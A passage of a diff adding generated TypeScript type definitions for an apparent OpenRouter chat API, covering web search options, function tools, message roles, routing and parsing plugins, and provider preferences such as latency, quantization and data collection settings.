will stop returning new results. Useful for controlling cost and context size in agentic loops. Defaults to 50 when not specified. + * @example 50 + * @type integer | undefined + */ + max_total_results?: number + /** + * @description Maximum number of web searches the model may perform in a single request. Once reached, further search calls return an error result instead of executing. Applies to the Exa, Firecrawl, Parallel, and Perplexity engines. With native provider search, forwarded only to Anthropic (as `max_uses`); other native search providers have no equivalent parameter and ignore it. + * @example 3 + * @type integer | undefined + */ + max_uses?: number + /** + * @description Engine-native search mode. Exa supports instant, fast, auto (default), deep-lite, deep, and deep-reasoning. Parallel supports turbo, fast, basic (default), and advanced. Modes unsupported by the selected engine are ignored. + * @example auto + * @type string | undefined + */ + mode?: WebSearchModeKey + /** + * @description How much context to retrieve per result. Applies to Exa, Parallel, and Perplexity engines; ignored with native provider search and Firecrawl. For Exa, pins a fixed per-result character cap (low=5,000, medium=15,000, high=30,000); when omitted, Exa picks an adaptive size per query and document (typically ~2,000–4,000 characters per result). For Parallel, controls the total characters across all results; when omitted, Parallel uses its own default size. For Perplexity, maps directly to the Search API's native search_context_size parameter. Overridden by `max_characters` when both are set. + * @example medium + * @type string | undefined + */ + search_context_size?: SearchQualityLevelKey + /** + * @description Approximate user location for location-biased results. + * @example {"city":"San Francisco","country":"US","region":"California","timezone":"America/Los_Angeles","type":"approximate"} + * @type object | undefined + */ + user_location?: WebSearchUserLocationServerTool + /** + * @description Enable SpaceXAI X (Twitter) search alongside native web search, with optional filters. Only applies to SpaceXAI endpoints with native search; omit to search the web only. X search is billed separately by SpaceXAI, per post and per user profile fetched. + * @example {"allowed_x_handles":["OpenRouterAI"],"from_date":"2025-01-01"} + * @type object | undefined + */ + x_search?: XSearchOptions +} + +/** + * @description OpenRouter built-in server tool: searches the web for current information + * @example {"parameters":{"max_results":5},"type":"openrouter:web_search"} + * @type object + */ +export type OpenRouterWebSearchServerTool = { + /** + * @example {"max_results":5,"search_context_size":"medium"} + * @type object | undefined + */ + parameters?: WebSearchConfig + type: 'openrouter:web_search' +} + +export const chatWebSearchShorthandTypeEnum = { + web_search: 'web_search', + web_search_preview: 'web_search_preview', + web_search_preview_2025_03_11: 'web_search_preview_2025_03_11', + web_search_2025_08_26: 'web_search_2025_08_26', +} as const + +export type ChatWebSearchShorthandTypeEnumKey = + (typeof chatWebSearchShorthandTypeEnum)[keyof typeof chatWebSearchShorthandTypeEnum] + +/** + * @description Web search tool using OpenAI Responses API syntax. Automatically converted to openrouter:web_search. + * @example {"type":"web_search_preview"} + * @type object + */ +export type ChatWebSearchShorthand = { + /** + * @description Limit search results to these domains. Supported by Exa, Firecrawl, Parallel, Perplexity, and most native providers (Anthropic, OpenAI, SpaceXAI). Cannot be used with excluded_domains. + * @type array | undefined + */ + allowed_domains?: string[] + /** + * @description Which search engine to use. "auto" (default) uses native if the provider supports it, otherwise Exa. "native" forces the provider's built-in search. "exa" forces the Exa search API. "firecrawl" uses the Firecrawl search API. "parallel" uses the Parallel search API. "perplexity" uses the Perplexity Search API (raw ranked results). + * @example auto + * @type string | undefined + */ + engine?: WebSearchEngineEnumKey + /** + * @description Exclude search results from these domains. Supported by Exa, Firecrawl, Parallel, Perplexity, Anthropic, OpenAI, and SpaceXAI. Cannot be used with allowed_domains. + * @type array | undefined + */ + excluded_domains?: string[] + /** + * @description Exact maximum number of characters of content per search result. Applies to the Exa, Parallel, and Perplexity engines; ignored with native provider search and Firecrawl. For Exa, caps highlight content per result. For Parallel, caps excerpt content per result (default 1,500 when omitted). For Perplexity, maps to the native `max_tokens_per_page` parameter (converted from characters to tokens) and trims the response to the exact character cap. When both `max_characters` and `search_context_size` are set, `max_characters` takes precedence. When omitted, falls back to `search_context_size` mapping (Exa) or engine defaults (Parallel, Perplexity). + * @example 2000 + * @type integer | undefined + */ + max_characters?: number + /** + * @description Maximum number of search results to return per search call. Defaults to 5. Applies to Exa, Firecrawl, Parallel, and Perplexity engines; ignored with native provider search. Perplexity supports a maximum of 20; values above 20 are clamped. + * @example 5 + * @type integer | undefined + */ + max_results?: number + /** + * @description Maximum total number of search results across all search calls in a single request. Once this limit is reached, the tool will stop returning new results. Useful for controlling cost and context size in agentic loops. Defaults to 50 when not specified. + * @example 50 + * @type integer | undefined + */ + max_total_results?: number + /** + * @description Maximum number of web searches the model may perform in a single request. Once reached, further search calls return an error result instead of executing. Applies to the Exa, Firecrawl, Parallel, and Perplexity engines. With native provider search, forwarded only to Anthropic (as `max_uses`); other native search providers have no equivalent parameter and ignore it. + * @example 3 + * @type integer | undefined + */ + max_uses?: number + /** + * @description Engine-native search mode. Exa supports instant, fast, auto (default), deep-lite, deep, and deep-reasoning. Parallel supports turbo, fast, basic (default), and advanced. Modes unsupported by the selected engine are ignored. + * @example auto + * @type string | undefined + */ + mode?: WebSearchModeKey + /** + * @example {"max_results":5,"search_context_size":"medium"} + * @type object | undefined + */ + parameters?: WebSearchConfig + /** + * @description How much context to retrieve per result. Applies to Exa, Parallel, and Perplexity engines; ignored with native provider search and Firecrawl. For Exa, pins a fixed per-result character cap (low=5,000, medium=15,000, high=30,000); when omitted, Exa picks an adaptive size per query and document (typically ~2,000–4,000 characters per result). For Parallel, controls the total characters across all results; when omitted, Parallel uses its own default size. For Perplexity, maps directly to the Search API's native search_context_size parameter. Overridden by `max_characters` when both are set. + * @example medium + * @type string | undefined + */ + search_context_size?: SearchQualityLevelKey + type: ChatWebSearchShorthandTypeEnumKey + /** + * @description Approximate user location for location-biased results. + * @example {"city":"San Francisco","country":"US","region":"California","timezone":"America/Los_Angeles","type":"approximate"} + * @type object | undefined + */ + user_location?: WebSearchUserLocationServerTool + /** + * @description Enable SpaceXAI X (Twitter) search alongside native web search, with optional filters. Only applies to SpaceXAI endpoints with native search; omit to search the web only. X search is billed separately by SpaceXAI, per post and per user profile fetched. + * @example {"allowed_x_handles":["OpenRouterAI"],"from_date":"2025-01-01"} + * @type object | undefined + */ + x_search?: XSearchOptions +} + +/** + * @description Tool definition for function calling (regular function or OpenRouter built-in server tool) + * @example {"function":{"description":"Get the current weather for a location","name":"get_weather","parameters":{"properties":{"location":{"description":"City name","type":"string"},"unit":{"enum":["celsius","fahrenheit"],"type":"string","x-speakeasy-unknown-values":"allow"}},"required":["location"],"type":"object"}},"type":"function"} + */ +export type ChatFunctionTool = + | { + /** + * @description Anthropic-style cache breakpoint for the content part. Interchangeable with the OpenAI-style `prompt_cache_breakpoint` marker: OpenRouter converts between the two based on the provider serving the request. + * @example {"ttl":"5m","type":"ephemeral"} + */ + cache_control?: ChatContentCacheControl + defer_loading?: boolean + /** + * @description Function definition for tool calling + * @example {"description":"Get the current weather for a location","name":"get_weather","parameters":{"properties":{"location":{"description":"City name","type":"string"}},"required":["location"],"type":"object"}} + * @type object + */ + function: { + defer_loading?: boolean + /** + * @description Function description for the model + * @example Get the current weather for a location + * @type string | undefined + */ + description?: string + /** + * @description Function name (a-z, A-Z, 0-9, underscores, dashes, max 64 chars) + * @maxLength 64 + * @example get_weather + * @type string + */ + name: string + /** + * @description Function parameters as JSON Schema object + * @example {"properties":{"location":{"description":"City name","type":"string"}},"required":["location"],"type":"object"} + * @type object | undefined + */ + parameters?: { + [key: string]: unknown + } + /** + * @description Enable strict schema adherence + * @example false + * @type boolean | undefined + */ + strict?: boolean | null + } + type: 'function' + } + | AdvisorServerToolOpenRouter + | BashServerTool + | DatetimeServerTool + | FilesServerTool + | FusionServerToolOpenRouter + | ImageGenerationServerToolOpenRouter + | ChatSearchModelsServerTool + | SubagentServerToolOpenRouter + | WebFetchServerTool + | OpenRouterWebSearchServerTool + | ChatWebSearchShorthand + | ChatDynamicServerTool + +/** + * @description System message for setting behavior + * @example {"content":"You are a helpful assistant.","name":"Assistant Config","role":"system"} + * @type object + */ +export type ChatSystemMessage = { + /** + * @description OpenRouter extension. Changes reasoning effort from this point in the conversation onward without invalidating the prompt cache for the preceding turns. Place it on a content-less system message (`content: ""`) directly before the user message it should apply to, and keep it at that position in later requests. Equivalent to the OpenAI Responses `configuration_update` input item and the Anthropic Messages per-message `output_config.effort`. + * @example {"reasoning":{"effort":"low"}} + */ + configuration_update?: ConfigurationUpdate | null + /** + * @description System message content + * @example You are a helpful assistant. + */ + content: string | ChatContentText[] + /** + * @description Optional name for the system message + * @example Assistant Config + * @type string | undefined + */ + name?: string + role: 'system' +} + +/** + * @description User message + * @example {"content":"What is the capital of France?","role":"user"} + * @type object + */ +export type ChatUserMessage = { + /** + * @description User message content + * @example What is the capital of France? + */ + content: string | ChatContentItems[] + /** + * @description Optional name for the user + * @example User + * @type string | undefined + */ + name?: string + role: 'user' +} + +/** + * @description Tool response message + * @example {"content":"The weather in San Francisco is 72°F and sunny.","role":"tool","tool_call_id":"call_abc123"} + * @type object + */ +export type ChatToolMessage = { + /** + * @description Tool response content + * @example The weather in San Francisco is 72°F and sunny. + */ + content: string | ChatContentItems[] + role: 'tool' + /** + * @description ID of the assistant message tool call this message responds to + * @example call_abc123 + * @type string + */ + tool_call_id: string +} + +/** + * @description Chat completion message with role-based discrimination + * @example {"content":"What is the capital of France?","role":"user"} + */ +export type ChatMessages = + | (ChatSystemMessage & { + role: 'system' + }) + | (ChatUserMessage & { + role: 'user' + }) + | (ChatDeveloperMessage & { + role: 'developer' + }) + | (ChatAssistantMessage & { + role: 'assistant' + }) + | (ChatToolMessage & { + role: 'tool' + }) + +/** + * @description Model to use for completion + * @example openai/gpt-4 + * @type string + */ +export type ModelName = string + +/** + * @description Models to use for completion + * @example ["openai/gpt-4","openai/gpt-4o"] + * @type array + */ +export type ChatModelNames = ModelName[] + +/** + * @description Named tool choice for specific function + * @example {"function":{"name":"get_weather"},"type":"function"} + * @type object + */ +export type ChatNamedToolChoice = { + function: { + /** + * @description Function name to call + * @example get_weather + * @type string + */ + name: string + } + type: 'function' +} + +export const chatReasoningSummaryVerbosityEnum = { + auto: 'auto', + concise: 'concise', + detailed: 'detailed', +} as const + +export type ChatReasoningSummaryVerbosityEnumKey = + (typeof chatReasoningSummaryVerbosityEnum)[keyof typeof chatReasoningSummaryVerbosityEnum] + +/** + * @description OpenRouter extension: force a specific server tool by naming it directly in `tool_choice.type` instead of wrapping it in `{ type: "function", function: { name } }`. + * @example {"type":"openrouter:web_search"} + * @type object + */ +export type ChatServerToolChoice = { + /** + * @description OpenRouter server-tool type to force (e.g. `openrouter:web_search`, `web_search`, `web_search_preview`). + * @example openrouter:web_search + * @type string + */ + type: string +} + +/** + * @description Streaming configuration options + * @example {"include_usage":true} + * @type object + */ +export type ChatStreamOptions = { + /** + * @description Deprecated: This field has no effect. Full usage details are always included. + * @deprecated + * @example true + * @type boolean | undefined + */ + include_usage?: boolean +} | null + +/** + * @description Tool choice configuration + * @example auto + */ +export type ChatToolChoice = + | 'none' + | 'auto' + | 'required' + | ChatNamedToolChoice + | ChatServerToolChoice + +export const contextCompressionEngine = { + 'middle-out': 'middle-out', +} as const + +export type ContextCompressionEngineKey = + (typeof contextCompressionEngine)[keyof typeof contextCompressionEngine] + +/** + * @example {"enabled":true,"engine":"middle-out","id":"context-compression"} + * @type object + */ +export type ContextCompressionPlugin = { + /** + * @description Set to false to disable the context-compression plugin for this request. Defaults to true. + * @type boolean | undefined + */ + enabled?: boolean + /** + * @description The compression engine to use. Defaults to "middle-out". + * @example middle-out + * @type string | undefined + */ + engine?: ContextCompressionEngineKey + id: 'context-compression' +} + +/** + * @description Deterministic BM25 retrieval over supplied tool definitions. + * @example {"max_results":5,"type":"bm25"} + * @type object + */ +export type DeferredBm25Search = { + max_results?: number + type: 'bm25' +} + +/** + * @description Caller-executed search returning existing tool identities under result_key. + * @example {"max_results":5,"result_key":"tool_names","tool_id":"search_catalog","type":"custom"} + * @type object + */ +export type DeferredCustomSearch = { + max_results?: number + /** + * @minLength 1 + * @type string + */ + result_key: string + /** + * @minLength 1 + * @type string + */ + tool_id: string + type: 'custom' +} + +/** + * @description Versioned safe-regex retrieval over supplied tool definitions. + * @example {"max_results":5,"type":"regex"} + * @type object + */ +export type DeferredRegexSearch = { + max_results?: number + type: 'regex' +} + +/** + * @description Router-local regex/BM25 or caller-owned custom search. + * @example {"max_results":5,"type":"bm25"} + */ +export type DeferredToolsSearchStrategy = + | (DeferredRegexSearch & { + type: 'regex' + }) + | (DeferredBm25Search & { + type: 'bm25' + }) + | (DeferredCustomSearch & { + type: 'custom' + }) + +export const deferredToolsControlInterfaceEnum = { + wrappers: 'wrappers', + code_mode: 'code_mode', +} as const + +export type DeferredToolsControlInterfaceEnumKey = + (typeof deferredToolsControlInterfaceEnum)[keyof typeof deferredToolsControlInterfaceEnum] + +export const deferredToolsControlProfileEnum = { + portable: 'portable', + universal: 'universal', +} as const + +export type DeferredToolsControlProfileEnumKey = + (typeof deferredToolsControlProfileEnum)[keyof typeof deferredToolsControlProfileEnum] + +export const deferredToolsControlScopeEnum = { + all: 'all', + mcp: 'mcp', +} as const + +export type DeferredToolsControlScopeEnumKey = + (typeof deferredToolsControlScopeEnum)[keyof typeof deferredToolsControlScopeEnum] + +/** + * @description Opt-in versioned router-level deferred-tool protocol. Replay assistant reasoning unchanged on continuation; keep the catalog unchanged. + * @example {"profile":"portable","protocol":"v1","search":{"max_results":5,"type":"bm25"},"validation":"runtime"} + * @type object + */ +export type DeferredToolsControl = { + /** + * @description How the universal profile exposes the hidden catalog to the provider. Absent or `wrappers`: the `tool_search` and `tool_exec` tools. `code_mode`: one `tool_code` tool that runs a short JavaScript program in which `search()` and `call()` reach the catalog, so several searches and calls complete in one tool result. Experimental. + * @type string | undefined + */ + interface?: DeferredToolsControlInterfaceEnumKey + /** + * @description Loading profile. `portable` serves the `defer_loading` tools with router-built search and call wrappers on any model and keeps the catalog fixed. `universal` defers every wrappable tool behind the same wrappers so the provider-facing tool list never changes, and rebuilds the catalog from each request so tools can be added or removed mid-conversation. + * @type string + */ + profile: DeferredToolsControlProfileEnumKey + protocol: 'v1' + /** + * @description Which tools the universal profile defers. Absent or `all`: every wrappable tool outside the coding-harness core set. `mcp`: only MCP server tools (`mcp__*` names and Responses namespaces outside `functions`); the harness keeps its own built-in tools direct. Experimental. + * @type string | undefined + */ + scope?: DeferredToolsControlScopeEnumKey + /** + * @description Router-local regex/BM25 or caller-owned custom search. + * @example {"max_results":5,"type":"bm25"} + */ + search: DeferredToolsSearchStrategy + /** + * @description Where tool-call arguments are checked against the original schema. Only `runtime` (in OpenRouter) is available in this release. + * @type string + */ + validation: 'runtime' +} + +export const deprecatedRoute = { + fallback: 'fallback', + sort: 'sort', +} as const + +export type DeprecatedRouteKey = + (typeof deprecatedRoute)[keyof typeof deprecatedRoute] + +export const PDFParserEngine2 = { + 'mistral-ocr': 'mistral-ocr', + native: 'native', + 'cloudflare-ai': 'cloudflare-ai', +} as const + +export type PDFParserEngine2Key = + (typeof PDFParserEngine2)[keyof typeof PDFParserEngine2] + +/** + * @description The engine to use for parsing PDF files. "pdf-text" is deprecated and automatically redirected to "cloudflare-ai". + * @example cloudflare-ai + */ +export type PDFParserEngine = PDFParserEngine2Key | 'pdf-text' + +/** + * @description Options for PDF parsing. + * @example {"engine":"cloudflare-ai"} + * @type object + */ +export type PDFParserOptions = { + /** + * @description The engine to use for parsing PDF files. "pdf-text" is deprecated and automatically redirected to "cloudflare-ai". + * @example cloudflare-ai + */ + engine?: PDFParserEngine +} + +/** + * @example {"enabled":true,"id":"file-parser","pdf":{"engine":"cloudflare-ai"}} + * @type object + */ +export type FileParserPlugin = { + /** + * @description Set to false to disable the file-parser plugin for this request. Defaults to true. + * @type boolean | undefined + */ + enabled?: boolean + id: 'file-parser' + /** + * @description Options for PDF parsing. + * @example {"engine":"cloudflare-ai"} + * @type object | undefined + */ + pdf?: PDFParserOptions +} + +export const fusionPluginPresetEnum = { + 'general-high': 'general-high', + 'general-budget': 'general-budget', + 'general-fast': 'general-fast', +} as const + +export type FusionPluginPresetEnumKey = + (typeof fusionPluginPresetEnum)[keyof typeof fusionPluginPresetEnum] + +/** + * @example {"analysis_models":["~anthropic/claude-opus-latest","~openai/gpt-sol-latest","~google/gemini-pro-latest"],"enabled":true,"id":"fusion","model":"~anthropic/claude-opus-latest"} + * @type object + */ +export type FusionPlugin = { + /** + * @description For a Fusion run started by the `openrouter/fusion` model slug or `openrouter:fusion` server tool, slugs of models to run in parallel as the "expert panel" the analyst analyzes. Each model receives the same user prompt with web_search + web_fetch enabled. Capped at 8 models to bound cost amplification. When omitted, defaults to the Quality preset from the /labs/fusion UI (~anthropic/claude-opus-latest, ~openai/gpt-sol-latest, ~google/gemini-pro-latest). + * @example ["~anthropic/claude-opus-latest","~openai/gpt-sol-latest","~google/gemini-pro-latest"] + * @type array | undefined + */ + analysis_models?: string[] + /** + * @description Set to false to disable Fusion configuration for a run started by the `openrouter/fusion` model slug or `openrouter:fusion` server tool. Defaults to true. + * @type boolean | undefined + */ + enabled?: boolean + id: 'fusion' + /** + * @description For a Fusion run started by the `openrouter/fusion` model slug or `openrouter:fusion` server tool, the maximum number of tool-calling steps each panelist (analysis model) and the analyst model may take during their agentic web-research loop. Models with web_search/web_fetch enabled iterate until they produce a text response or hit this ceiling. Defaults to 4. Capped at 16. + * @minimum 1 + * @maximum 16 + * @example 12 + * @type integer | undefined + */ + max_tool_calls?: number + /** + * @description For a Fusion run started by the `openrouter/fusion` model slug or `openrouter:fusion` server tool, the slug of the model that performs both the analyst step (with web_search + web_fetch) and the final synthesis. When omitted, defaults to the first model in the Quality preset. + * @example ~anthropic/claude-opus-latest + * @type string | undefined + */ + model?: string + /** + * @description Configuration for a Fusion run started by the `openrouter/fusion` model slug or `openrouter:fusion` server tool. A curated OpenRouter preset (slugs follow `-`, e.g. `general-high`). Expands server-side into the preset's analysis_models panel and analyst model, so callers never name individual models. Explicitly provided `analysis_models` / `model` take precedence. + * @example general-high + * @type string | undefined + */ + preset?: FusionPluginPresetEnumKey + /** + * @description For a Fusion run started by the `openrouter/fusion` model slug or `openrouter:fusion` server tool, server tools available to panelist and analyst inner calls. Each entry uses the same `{ type, parameters? }` shorthand as the outer Chat Completions request. When omitted, defaults to `[{ type: "openrouter:web_search" }, { type: "openrouter:web_fetch" }]`. Pass an empty array to disable tools entirely (panelists answer from parametric knowledge only). + * @example [{"parameters":{"excluded_domains":["example.com"]},"type":"openrouter:web_search"},{"type":"openrouter:web_fetch"}] + * @type array | undefined + */ + tools?: { + /** + * @description Optional configuration forwarded as the tool's `parameters` object. + * @type object | undefined + */ + parameters?: { + [key: string]: + | string + | number + | boolean + | null + | (string | number | boolean | null)[] + | { + [key: string]: string | number | boolean | null + } + } + /** + * @description Server tool type identifier (e.g. "openrouter:web_search", "openrouter:web_fetch"). + * @type string + */ + type: string + }[] +} + +/** + * @description Provider-specific image configuration options. Keys and values vary by model/provider. See https://openrouter.ai/docs/guides/overview/multimodal/image-generation for more details. + * @example {"aspect_ratio":"16:9","quality":"high"} + * @type object + */ +export type ImageConfig = { + [key: string]: string | number | unknown[] +} + +/** + * @example {"excluded_models":["openai/gpt-6-astra"],"id":"jev-router","models":["anthropic/*","openai/gpt-5.6-sol"]} + * @type object + */ +export type JevRouterPlugin = { + /** + * @description Alias of `models`, matching the auto-router field name. Entries from both fields are combined. + * @example ["anthropic/*"] + * @type array | undefined + */ + allowed_models?: string[] + /** + * @description Select low, medium, high, or a cost tier configured by the operator. Overrides the live-config tier and replaces the shared routing policy with that tier. Omit to use the live configuration. Model exclusions and the router kill switch still apply. + * @pattern ^[a-z][a-z0-9_-]{0,31}$ + * @example medium + * @type string | undefined + */ + cost_tier?: string + /** + * @description Remove these models from the router. Each entry is a model slug or a wildcard pattern (e.g. "xiaomi/*"). A `~author/family-latest` alias matches every revision of that family. Up to 1024 patterns, each at most 1024 characters, with 65536 total characters across all patterns. Applied after `models`, so an excluded pattern always wins over an included one; when the lists leave no model the request can use, it fails with 404 rather than routing outside them. + * @example ["openai/gpt-6-astra","xiaomi/*"] + * @type array | undefined + */ + excluded_models?: string[] + id: 'jev-router' + /** + * @description Restrict the router to these models. Each entry is a model slug or a wildcard pattern (e.g. "anthropic/*"), matched against the current pool; models outside the pool are ignored. A `~author/family-latest` alias matches every revision of that family. Up to 1024 patterns, each at most 1024 characters, with 65536 total characters across all patterns. When omitted or empty, every model in the pool is a candidate; when no pool model matches, the list is ignored and the whole pool is used (`excluded_models` still apply). When no entry matches any catalog model, for example a misspelled slug, the request fails with 404 instead. `allowed_models` is an alias; entries from both fields are combined. + * @example ["anthropic/*","openai/gpt-5.6-sol"] + * @type array | undefined + */ + models?: string[] +} + +/** + * @example {"id":"moderation"} + * @type object + */ +export type ModerationPlugin = { + id: 'moderation' +} + +export const paretoRouterPluginPriceSourceEnum = { + prompt: 'prompt', + weighted_avg: 'weighted_avg', +} as const + +export type ParetoRouterPluginPriceSourceEnumKey = + (typeof paretoRouterPluginPriceSourceEnum)[keyof typeof paretoRouterPluginPriceSourceEnum] + +/** + * @example {"enabled":true,"id":"pareto-router","max_price":5,"price_source":"prompt"} + * @type object + */ +export type ParetoRouterPlugin = { + /** + * @description Set to false to disable the pareto-router plugin for this request. Defaults to true. + * @type boolean | undefined + */ + enabled?: boolean + id: 'pareto-router' + /** + * @description Maximum input price in USD per million tokens. When set, quality-tier selection (min_coding_score) is bypassed: the router computes the Pareto frontier over the top coding models and routes to the best-scoring frontier model priced at or below this cap, falling back through cheaper frontier models, then non-frontier models. Enforced against the price source given by price_source. Returns 404 when no candidate satisfies the cap. + * + * Format: `double` + * @minimum 0 + * @example 5 + * @type number | undefined + */ + max_price?: number + /** + * @description Minimum coding quality score between 0 and 1. Maps to internal quality tiers: >= 0.66 → high (top coding models), >= 0.33 → medium (strong modern flagships), < 0.33 → low (capable coders above the median). Omit to default to the highest tier (equivalent to >= 0.66). Not used when max_price is set (price-based selection takes over). + * + * Format: `double` + * @minimum 0 + * @maximum 1 + * @example 0.8 + * @type number | undefined + */ + min_coding_score?: number + /** + * @description Price source for the Pareto frontier cost axis and for enforcing max_price. "prompt" uses catalog list price (endpoint.pricing.prompt). "weighted_avg" uses traffic-weighted effective input price from ClickHouse, falling back to prompt price for models without traffic data. Defaults to "prompt". + * @type string | undefined + */ + price_source?: ParetoRouterPluginPriceSourceEnumKey +} + +/** + * @description Percentile-based latency cutoffs. All specified cutoffs must be met for an endpoint to be preferred. + * @example {"p50":5,"p90":10} + * @type object + */ +export type PercentileLatencyCutoffs = { + /** + * @description Maximum p50 latency (seconds) + * + * Format: `double` + * @type number | undefined + */ + p50?: number | null + /** + * @description Maximum p75 latency (seconds) + * + * Format: `double` + * @type number | undefined + */ + p75?: number | null + /** + * @description Maximum p90 latency (seconds) + * + * Format: `double` + * @type number | undefined + */ + p90?: number | null + /** + * @description Maximum p99 latency (seconds) + * + * Format: `double` + * @type number | undefined + */ + p99?: number | null +} + +/** + * @description Percentile-based throughput cutoffs. All specified cutoffs must be met for an endpoint to be preferred. + * @example {"p50":100,"p90":50} + * @type object + */ +export type PercentileThroughputCutoffs = { + /** + * @description Minimum p50 throughput (tokens/sec) + * + * Format: `double` + * @type number | undefined + */ + p50?: number | null + /** + * @description Minimum p75 throughput (tokens/sec) + * + * Format: `double` + * @type number | undefined + */ + p75?: number | null + /** + * @description Minimum p90 throughput (tokens/sec) + * + * Format: `double` + * @type number | undefined + */ + p90?: number | null + /** + * @description Minimum p99 throughput (tokens/sec) + * + * Format: `double` + * @type number | undefined + */ + p99?: number | null +} + +/** + * @description Text content part for a predicted output. + * @example {"text":"Expected response","type":"text"} + * @type object + */ +export type PredictionContentText = { + text: string + type: 'text' +} + +/** + * @description Static predicted output content. Supported models can use this to reduce latency when much of the response is known in advance. + * @example {"content":"Expected response","type":"content"} + * @type object + */ +export type Prediction = { + content: string | PredictionContentText[] + type: 'content' +} | null + +/** + * @description Preferred maximum latency (in seconds). Can be a number (applies to p50) or an object with percentile-specific cutoffs. Endpoints above the threshold(s) may still be used, but are deprioritized in routing. When using fallback models, this may cause a fallback model to be used instead of the primary model if it meets the threshold. + * @example 5 + */ +export type PreferredMaxLatency = number | PercentileLatencyCutoffs | null + +/** + * @description Preferred minimum throughput (in tokens per second). Can be a number (applies to p50) or an object with percentile-specific cutoffs. Endpoints below the threshold(s) may still be used, but are deprioritized in routing. When using fallback models, this may cause a fallback model to be used instead of the primary model if it meets the threshold. + * @example 100 + */ +export type PreferredMinThroughput = number | PercentileThroughputCutoffs | null + +/** + * @description Request-level prompt-cache controls. `mode: "explicit"` disables OpenAI-managed breakpoints so only blocks marked with `prompt_cache_breakpoint` are cached. `ttl` sets the minimum cache lifetime for every breakpoint the request writes: "30m" (default) or "12h" (billed at the higher 12h cache-write rate). Only supported by OpenAI GPT-5.6 and newer. + * @example {"mode":"explicit","ttl":"30m"} + * @type object + */ +export type PromptCacheOptions = { + mode: 'explicit' + ttl?: string | null +} | null + +export const quantization = { + int4: 'int4', + int8: 'int8', + fp4: 'fp4', + mxfp4: 'mxfp4', + nvfp4: 'nvfp4', + fp6: 'fp6', + fp8: 'fp8', + mxfp8: 'mxfp8', + fp16: 'fp16', + bf16: 'bf16', + fp32: 'fp32', + unknown: 'unknown', +} as const + +export type QuantizationKey = (typeof quantization)[keyof typeof quantization] + +export const providerSort = { + price: 'price', + throughput: 'throughput', + latency: 'latency', + exacto: 'exacto', +} as const + +export type ProviderSortKey = (typeof providerSort)[keyof typeof providerSort] + +export const providerSortConfigByEnum = { + price: 'price', + throughput: 'throughput', + latency: 'latency', + exacto: 'exacto', +} as const + +export type ProviderSortConfigByEnumKey = + (typeof providerSortConfigByEnum)[keyof typeof providerSortConfigByEnum] + +export const providerSortConfigPartitionEnum = { + model: 'model', + none: 'none', +} as const + +export type ProviderSortConfigPartitionEnumKey = + (typeof providerSortConfigPartitionEnum)[keyof typeof providerSortConfigPartitionEnum] + +/** + * @description The provider sorting strategy (price, throughput, latency) + * @example {"by":"price","partition":"model"} + * @type object + */ +export type ProviderSortConfig = { + /** + * @description The provider sorting strategy (price, throughput, latency) + * @example price + * @type string | undefined + */ + by?: ProviderSortConfigByEnumKey | null + /** + * @description Partitioning strategy for sorting: "model" (default) groups endpoints by model before sorting (fallback models remain fallbacks), "none" sorts all endpoints together regardless of model. + * @example model + * @type string | undefined + */ + partition?: ProviderSortConfigPartitionEnumKey | null +} + +export const providerPreferencesDataCollectionEnum = { + deny: 'deny', + allow: 'allow', +} as const + +export type ProviderPreferencesDataCollectionEnumKey = + (typeof providerPreferencesDataCollectionEnum)[keyof typeof providerPreferencesDataCollectionEnum] + +/** + * @description When multiple model providers are available, optionally indicate your routing preference. + * @example {"allow_fallbacks":true} + * @type object + */ +export type ProviderPreferences = { + /** + * @description Whether to allow backup providers to serve requests + * - true: (default) when the primary provider (or your custom providers in "order") is unavailable, use the next best provider. + * - false: use only the primary/custom provider, and return the upstream error if it's unavailable. + * + * @type boolean | undefined + */ + allow_fallbacks?: boolean | null + /** + * @description Data collection setting. If no available model provider meets the requirement, your request will return an error. + * - allow: (default) allow providers which store user data non-transiently and may train on it + * + * - deny: use only providers which do not collect user data. + * @example allow + * @type string | undefined + */ + data_collection?: ProviderPreferencesDataCollectionEnumKey | null + /** + * @description Whether to restrict routing to only models that allow text distillation. When true, only models where the author has allowed distillation will be used. + * @example true + * @type boolean | undefined + */ + enforce_distillable_text?: boolean | null + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description The object specifying the maximum price you want to pay for this request. USD price per million tokens, for prompt and completion. + * @type object | undefined + */ + max_price?: { + /** + * @description Maximum price in USD per audio unit + * @type string | undefined + */ + audio?: string + /** + * @description Maximum price in USD per million completion tokens + * @type string | undefined + */ + completion?: string + /** + * @description Maximum price in USD per image + * @type string | undefined + */ + image?: string + /** + * @description Maximum price in USD per million prompt tokens + * @type string | undefined + */ + prompt?: string + /** + * @description Maximum price in USD per request + * @type string | undefined + */ + request?: string + } + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"openai":{"max_tokens":1000}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + /** + * @description Preferred maximum latency (in seconds). Can be a number (applies to p50) or an object with percentile-specific cutoffs. Endpoints above the threshold(s) may still be used, but are deprioritized in routing. When using fallback models, this may cause a fallback model to be used instead of the primary model if it meets the threshold. + * @example 5 + */ + preferred_max_latency?: PreferredMaxLatency + /** + * @description Preferred minimum throughput (in tokens per second). Can be a number (applies to p50) or an object with percentile-specific cutoffs. Endpoints below the threshold(s) may still be used, but are deprioritized in routing. When using fallback models, this may cause a fallback model to be used instead of the primary model if it meets the threshold. + * @example 100 + */ + preferred_min_throughput?: PreferredMinThroughput + /** + * @description A list of quantization levels to filter the provider by. + * @type array | undefined + */ + quantizations?: QuantizationKey[] | null + /** + * @description Whether to filter providers to only those that support the parameters you've provided. If this setting is omitted or set to false, then providers will receive only the parameters they support, and ignore the rest. + * @type boolean | undefined + */ + require_parameters?: boolean | null + /** + * @description The sorting strategy to use for this request, if "order" is not specified. When set, no load balancing is performed. + * @example price + */ + sort?: ProviderSortKey | ProviderSortConfig | null + /** + * @description Whether to restrict routing to only ZDR (Zero Data Retention) endpoints. When true, 